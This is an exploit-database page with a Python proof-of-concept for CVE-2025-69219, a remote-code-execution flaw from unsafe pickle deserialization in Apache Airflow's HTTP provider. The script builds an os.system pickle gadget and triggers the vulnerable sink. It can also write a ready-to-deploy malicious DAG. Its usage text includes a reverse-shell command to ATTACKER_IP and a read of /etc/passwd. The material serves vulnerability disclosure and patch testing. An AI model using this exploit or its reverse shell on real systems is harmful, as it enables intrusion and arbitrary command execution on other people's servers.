Exploit database

GH-a49c8fd58f7cd4c02ceb97433d1a8154

sak110/cve-2025-69219

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-69219

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
sak110/cve-2025-69219Revision 066b197b8134

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 7,090 bytes
#!/usr/bin/env python3
"""
CVE-2025-69219 - Apache Airflow Providers HTTP Unsafe Pickle Deserialization RCE
=================================================================================
Affected:  apache-airflow-providers-http >= 5.1.0, < 6.0.0
Fixed in:  apache-airflow-providers-http 6.0.0
Severity:  High (CVSS 3.1: 8.8 - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE:       CWE-913 - Improper Control of Dynamically-Managed Code Resources
CVE:       CVE-2025-69219
GHSA:      GHSA-9r5j-7r2x-rv4g

Credits:
  - skypher (finder)
  - Shauryae1337 (finder)
  - ahmetartuc (finder, original PoC author — https://github.com/ahmetartuc/poc-cve-2025-69219)

  Based on the original PoC by @ahmetartuc.

Description:
  The HttpOperator in apache-airflow-providers-http used pickle for serializing
  HTTP trigger responses. The `execute_complete` method called:

      pickle.loads(base64.standard_b64decode(event["response"]))

  Because the `event` dict originates from the Airflow database (via the Triggerer
  worker), any user with write access to the Airflow DB can craft a malicious
  pickle payload that executes arbitrary OS commands when the Triggerer deserializes
  it.

  The fix (6.0.0, commit 97839f7) replaces pickle with a safe JSON-based
  HttpResponseSerializer class.

Usage:
  # Basic - run `id` and print result to task logs
  python poc.py

  # Custom command
  python poc.py --cmd "cat /etc/passwd"

  # Write a reverse shell payload to the DB directly (requires DB access)
  python poc.py --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" --mode db

Requirements:
  pip install apache-airflow apache-airflow-providers-http
  (use a version < 6.0.0 to reproduce; the DAG-based vector needs Airflow running)
"""

import argparse
import base64
import os
import pickle
import subprocess
import sys


# ---------------------------------------------------------------------------
# Payload builder
# ---------------------------------------------------------------------------

class RCEPayload:
    """
    Pickle gadget that executes an arbitrary shell command via os.system on
    deserialization. __reduce__ is the classic vector; no unsafe imports needed
    beyond the stdlib.
    """

    def __init__(self, cmd: str):
        self.cmd = cmd

    def __reduce__(self):
        # os.system(cmd) is executed the moment pickle.loads() is called
        return (os.system, (self.cmd,))


def build_payload(cmd: str) -> str:
    """Return the base64-encoded pickle blob that the vulnerable code expects."""
    raw = pickle.dumps(RCEPayload(cmd))
    return base64.standard_b64encode(raw).decode("ascii")


# ---------------------------------------------------------------------------
# Local simulation (no Airflow install required)
# ---------------------------------------------------------------------------

def simulate_local(cmd: str) -> None:
    """
    Reproduce the vulnerable code path inline, identical to the pre-patch logic
    in HttpOperator.execute_complete():

        response = pickle.loads(base64.standard_b64decode(event["response"]))
    """
    payload = build_payload(cmd)

    print(f"[*] Command       : {cmd}")
    print(f"[*] Pickle payload: {payload[:60]}...")
    print(f"[*] Triggering deserialization (simulating execute_complete) ...\n")

    # --- vulnerable sink (verbatim pre-patch code) ---
    event = {"status": "success", "response": payload}
    if event["status"] == "success":
        # This is the exact line that was patched in commit 97839f7
        result = pickle.loads(base64.standard_b64decode(event["response"]))  # noqa: S301
    # --------------------------------------------------

    print(f"\n[+] os.system returned: {result}  (0 = success)")


# ---------------------------------------------------------------------------
# DAG-based vector (requires a running Airflow instance)
# ---------------------------------------------------------------------------

AIRFLOW_DAG_TEMPLATE = '''
"""
CVE-2025-69219 PoC DAG - unsafe pickle deserialization via HttpOperator.
Deploy to $AIRFLOW_HOME/dags/ and trigger from the UI.
"""
from airflow import DAG
from airflow.operators.python import PythonOperator
from airflow.providers.http.operators.http import HttpOperator
from datetime import datetime
import base64, os, pickle


class _RCE:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        return (os.system, (self.cmd,))


def _trigger(**context):
    cmd = {cmd!r}
    payload = base64.standard_b64encode(pickle.dumps(_RCE(cmd))).decode()
    op = HttpOperator(task_id="exploit_sink", deferrable=True)
    try:
        op.execute_complete(
            context=context,
            event={{"status": "success", "response": payload}},
        )
    except Exception:
        pass   # command already ran; the TypeError from the missing response is noise


with DAG(
    "cve_2025_69219_poc",
    start_date=datetime(2025, 1, 1),
    schedule=None,
    catchup=False,
    tags=["security", "poc"],
) as dag:
    PythonOperator(task_id="exploit", python_callable=_trigger)
'''


def generate_dag(cmd: str, out_path: str) -> None:
    """Write a ready-to-deploy Airflow DAG file."""
    content = AIRFLOW_DAG_TEMPLATE.format(cmd=cmd)
    with open(out_path, "w") as f:
        f.write(content)
    print(f"[+] DAG written to: {out_path}")
    print(f"[*] Copy to $AIRFLOW_HOME/dags/ and trigger 'cve_2025_69219_poc' from the UI.")


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

def parse_args():
    p = argparse.ArgumentParser(
        description="CVE-2025-69219 PoC - Apache Airflow HTTP Provider RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__,
    )
    p.add_argument(
        "--cmd",
        default="id",
        help="Shell command to execute (default: id)",
    )
    p.add_argument(
        "--mode",
        choices=["local", "dag"],
        default="local",
        help=(
            "local: simulate the vulnerable sink in-process (default); "
            "dag:   generate a deployable Airflow DAG file"
        ),
    )
    p.add_argument(
        "--out",
        default="cve_2025_69219_poc_dag.py",
        help="Output path for --mode dag (default: cve_2025_69219_poc_dag.py)",
    )
    p.add_argument(
        "--show-payload",
        action="store_true",
        help="Print the full base64 pickle payload and exit",
    )
    return p.parse_args()


def main():
    args = parse_args()

    if args.show_payload:
        print(build_payload(args.cmd))
        sys.exit(0)

    banner = (
        "\n"
        "  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0\n"
        "  Unsafe Pickle Deserialization → RCE via HttpOperator\n"
        "  -------------------------------------------------------\n"
    )
    print(banner)

    if args.mode == "local":
        simulate_local(args.cmd)
    elif args.mode == "dag":
        generate_dag(args.cmd, args.out)


if __name__ == "__main__":
    main()